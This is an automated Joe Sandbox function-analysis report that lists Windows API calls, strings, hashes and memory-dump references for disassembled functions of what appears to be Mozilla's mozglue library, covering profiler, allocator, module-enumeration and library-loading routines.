Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

GetCurrentThreadId.KERNEL32 ref: 6C54EF1E
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EF2B
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EF59
GetCurrentThreadId.KERNEL32 ref: 6C54EFB0
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EFBD
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EFE1
GetCurrentThreadId.KERNEL32 ref: 6C54EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F000

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C54F02F

Part of subcall function 6C54F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C54F09B
Part of subcall function 6C54F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C54F0AC
Part of subcall function 6C54F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C54F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C54F008
[I %d/%d] profiler_stop, xrefs: 6C54EED7

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: a267443000d0db23af76d5c13ebdf8ada26583484e5458b2c95f037c6160fca3
Instruction ID: c401ae45f3956c2adb6be96b3658734b4cd902ef23d9f8fe514bcb258aee496d
Opcode Fuzzy Hash: a267443000d0db23af76d5c13ebdf8ada26583484e5458b2c95f037c6160fca3
Instruction Fuzzy Hash: D6511A35603230EFDB00BB64DC09BA577B8EB8B358F129716E91583B91D7755808C7EA

Function 6C53D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C58E804), ref: 6C53D047
GetSystemInfo.KERNEL32(?), ref: 6C53D093
__Init_thread_footer.LIBCMT ref: 6C53D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C58E810,00000040), ref: 6C53D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E7B8,00001388), ref: 6C53D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E744,00001388), ref: 6C53D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E784,00001388), ref: 6C53D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E7DC,00001388), ref: 6C53D1B1

Strings

MOZ_CRASH(), xrefs: 6C53D277
Compile-time page size does not divide the runtime one., xrefs: 6C53D26D
MALLOC_OPTIONS, xrefs: 6C53D0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6C53D322
<jemalloc>, xrefs: 6C53D268, 6C53D311

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: c5fd6f3343b81d1294bb7f4a6450edb43d50308703f63b6a9e7bb9de79b14241
Instruction ID: 68e810ddc7a7fa562e71fb067a8bdfd7c63e329354d079e2ed9b136332dc6bf5
Opcode Fuzzy Hash: c5fd6f3343b81d1294bb7f4a6450edb43d50308703f63b6a9e7bb9de79b14241
Instruction Fuzzy Hash: 6481DE74B122709BEF009F68CC54B6937B8EB47708F51252AE905DBB80EBB59805CBD9

Function 6C517FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C518007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C51801D

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C51802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C51803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C51808D

Part of subcall function 6C51CA10: mozalloc_abort.MOZGLUE(?), ref: 6C51CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C51809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5180B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5180DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5180ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5180FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C51810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C518133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C518149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C518167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C51817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C518199

Strings

0>Tl, xrefs: 6C51811E

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Tl
API String ID: 2721933968-1699305988
Opcode ID: d62448157873604b93d9a70c1c1616d77194e76bf32846e83cde4ddf00897a27
Instruction ID: f9ebd18539729d3bd44c1420c73b04df6291e693e4218513db2b85c5a6cc3438
Opcode Fuzzy Hash: d62448157873604b93d9a70c1c1616d77194e76bf32846e83cde4ddf00897a27
Instruction Fuzzy Hash: A751A6B2E041149BEF10DFA5DC84AEFB7B9EF89224F650525E815E7741E730AD04CBA2

Function 6C515E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C515E9D

Part of subcall function 6C525B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5256EE,?,00000001), ref: 6C525B85
Part of subcall function 6C525B50: EnterCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525B90
Part of subcall function 6C525B50: LeaveCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525BD8
Part of subcall function 6C525B50: GetTickCount64.KERNEL32 ref: 6C525BE4

GetCurrentThreadId.KERNEL32 ref: 6C515EAB
GetCurrentThreadId.KERNEL32 ref: 6C515EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C515ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C516017

Part of subcall function 6C504310: moz_xmalloc.MOZGLUE(00000010,?,6C5042D2), ref: 6C50436A
Part of subcall function 6C504310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5042D2), ref: 6C504387

moz_xmalloc.MOZGLUE(00000004), ref: 6C515F47
GetCurrentProcess.KERNEL32 ref: 6C515F53
GetCurrentThread.KERNEL32 ref: 6C515F5C
GetCurrentProcess.KERNEL32 ref: 6C515F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C515F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C515F27

Part of subcall function 6C51CA10: mozalloc_abort.MOZGLUE(?), ref: 6C51CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5155E1), ref: 6C515E8C

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5155E1), ref: 6C51605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5155E1), ref: 6C5160CC

Strings

GeckoMain, xrefs: 6C515ECE, 6C516015

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 456510f83b4bf4a85bbcf629a2242d1efa8d8c28b3858027918684ca7646342a
Instruction ID: f4892c994d446ebdd6115ede89e48d2db955cd61d399df86b9572e39598b5d50
Opcode Fuzzy Hash: 456510f83b4bf4a85bbcf629a2242d1efa8d8c28b3858027918684ca7646342a
Instruction Fuzzy Hash: 7F71A2B0609740DFD710DF24C884A6ABBF0FF9A304F54596EE48687B52D731E948CB92

Function 6C519590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5031C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C503217
Part of subcall function 6C5031C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C503236
Part of subcall function 6C5031C0: FreeLibrary.KERNEL32 ref: 6C50324B
Part of subcall function 6C5031C0: __Init_thread_footer.LIBCMT ref: 6C503260
Part of subcall function 6C5031C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C50327F
Part of subcall function 6C5031C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C50328E
Part of subcall function 6C5031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5032AB
Part of subcall function 6C5031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5032D1
Part of subcall function 6C5031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5032E5
Part of subcall function 6C5031C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5032F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C519675
__Init_thread_footer.LIBCMT ref: 6C519697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5196E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C519707
__Init_thread_footer.LIBCMT ref: 6C51971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C519773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5197B7
FreeLibrary.KERNEL32 ref: 6C5197D0
FreeLibrary.KERNEL32 ref: 6C5197EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C519824

Strings

MapViewOfFileNuma2, xrefs: 6C5197B1
ntdll.dll, xrefs: 6C5196E3
NtMapViewOfSection, xrefs: 6C519701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C519670

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: e2030e4678fcb359fa76d18676c240627f9070bd441b3c3c13bab9bab405a7cb
Instruction ID: 0a6d99f0cffac3c46418b224df9d9f1dbc0c634cba9eadd276db7c2f87c77c9b
Opcode Fuzzy Hash: e2030e4678fcb359fa76d18676c240627f9070bd441b3c3c13bab9bab405a7cb
Instruction Fuzzy Hash: 5D61C271606221DFEF00EFA4DC88A9A7BB4EF8F314F125619E916D7B80D7309854CBA5

Function 6C566660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C58F618), ref: 6C566694
GetThreadId.KERNEL32(?), ref: 6C5666B1
GetCurrentThreadId.KERNEL32 ref: 6C5666B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5666E1
EnterCriticalSection.KERNEL32(6C58F618), ref: 6C566734
GetCurrentProcess.KERNEL32 ref: 6C56673A
LeaveCriticalSection.KERNEL32(6C58F618), ref: 6C56676C
GetCurrentThread.KERNEL32 ref: 6C5667FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C566868
RtlCaptureContext.NTDLL ref: 6C56687F

Strings

WalkStack64, xrefs: 6C566890

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 4b8432ca33a7dde3f67bd6fe8bfeb0a7a42cdb0227a7dcaa0f689732f039025f
Instruction ID: 08b590230b7a74c24f8985a3738719aeab2af6ec72e42876863cd967fae20215
Opcode Fuzzy Hash: 4b8432ca33a7dde3f67bd6fe8bfeb0a7a42cdb0227a7dcaa0f689732f039025f
Instruction Fuzzy Hash: 6051DC71A0A311AFDB10DF26CC44B5ABBF4BF8A714F00492DF59897A50DB70E908CB92

Function 6C54DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54DE73
GetCurrentThreadId.KERNEL32 ref: 6C54DF7D
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54DF8A
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54DFC9
GetCurrentThreadId.KERNEL32 ref: 6C54DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C514A68), ref: 6C54DE7B

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C514A68), ref: 6C54DEB8
free.MOZGLUE(00000000,?,6C514A68), ref: 6C54DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C54DF38

Strings

<none>, xrefs: 6C54DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C54DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C54E00E

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 564bfd5540452b5c7e7deaf193d2d3bdf846957bf93244ae56ea361fad063595
Instruction ID: fc3aae081ebd12a181ae723900ccc2a24616dbb723a8fbc2ba9d46ee39cb08c7
Opcode Fuzzy Hash: 564bfd5540452b5c7e7deaf193d2d3bdf846957bf93244ae56ea361fad063595
Instruction Fuzzy Hash: 7D412631702120EBDB20AF64DC04BBA7779EB8730CF55811AE90987B01DB319C09CBEA

Function 6C55D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C55D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D918
GetCurrentThreadId.KERNEL32 ref: 6C55D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D970
GetCurrentThreadId.KERNEL32 ref: 6C55D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C55DA2E
GetCurrentThreadId.KERNEL32 ref: 6C55DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C55DA91

Part of subcall function 6C525C50: GetTickCount64.KERNEL32 ref: 6C525D40
Part of subcall function 6C525C50: EnterCriticalSection.KERNEL32(6C58F688), ref: 6C525D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55DAB7

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 666c4cc1f55fa33cc5afa4b2b864baed7b1cddf712971a5a7e0dd4b8d38a9855
Instruction ID: b545ad19a02bbf578ec519d28cf7b0bc5955d7cf2502b63b2c625748f8514398
Opcode Fuzzy Hash: 666c4cc1f55fa33cc5afa4b2b864baed7b1cddf712971a5a7e0dd4b8d38a9855
Instruction Fuzzy Hash: 6A71BF75604314DFCB00DF28CC88B9ABBF5FF89314F55856AE85A9B301EB30A944CBA5

Function 6C55D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C55D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D52A
GetCurrentThreadId.KERNEL32 ref: 6C55D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D55F
free.MOZGLUE(00000000), ref: 6C55D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C55D5D3
GetCurrentThreadId.KERNEL32 ref: 6C55D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D652
GetCurrentThreadId.KERNEL32 ref: 6C55D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C55D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55D6A2

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 6ae4b9f332fdcf6b067d91cd372090cba6c02f5b2e38e0ac532e2d36f060e425
Instruction ID: 1863d3c05846b0506b50d021b8452bfaf33cd0c06c3b73141d9638ee08b656d6
Opcode Fuzzy Hash: 6ae4b9f332fdcf6b067d91cd372090cba6c02f5b2e38e0ac532e2d36f060e425
Instruction Fuzzy Hash: F0518E71605705DFC700DF24CC84A9ABBB4FF8A318F419A2EE84A87711DB30A855CB95

Function 6C501E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E784), ref: 6C501EC1
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C501EE1
EnterCriticalSection.KERNEL32(6C58E744), ref: 6C501F38
LeaveCriticalSection.KERNEL32(6C58E744), ref: 6C501F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C501F83
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C501FC0
EnterCriticalSection.KERNEL32(6C58E784), ref: 6C501FE2
LeaveCriticalSection.KERNEL32(6C58E784), ref: 6C501FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C502019

Strings

MOZ_CRASH(), xrefs: 6C502000
DXl, xrefs: 6C501F32
DXl, xrefs: 6C501F56
\Xl, xrefs: 6C501F3E

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DXl$DXl$MOZ_CRASH()$\Xl
API String ID: 2055633661-1828386474
Opcode ID: b50423ad9173ca7121a158b968b4a477c91aaf76965bce249cb06c55fde5dcc1
Instruction ID: 25286e3a7d0e2a3b3da2370025685892a5c9986ccf6d7ed9544a501a7dccbada
Opcode Fuzzy Hash: b50423ad9173ca7121a158b968b4a477c91aaf76965bce249cb06c55fde5dcc1
Instruction Fuzzy Hash: C841B375B023799FDF009FA8CC85B6A37B5EF4A348F050125E905D7741E7B198048BEA

Function 6C525670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5256D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5256E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5256F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C525744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5257BC
GetTickCount64.KERNEL32 ref: 6C5258CB
EnterCriticalSection.KERNEL32(6C58F688), ref: 6C5258F3
__aulldiv.LIBCMT ref: 6C525945
LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C5259B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C58F638,?,?,?,?), ref: 6C5259E9

Strings

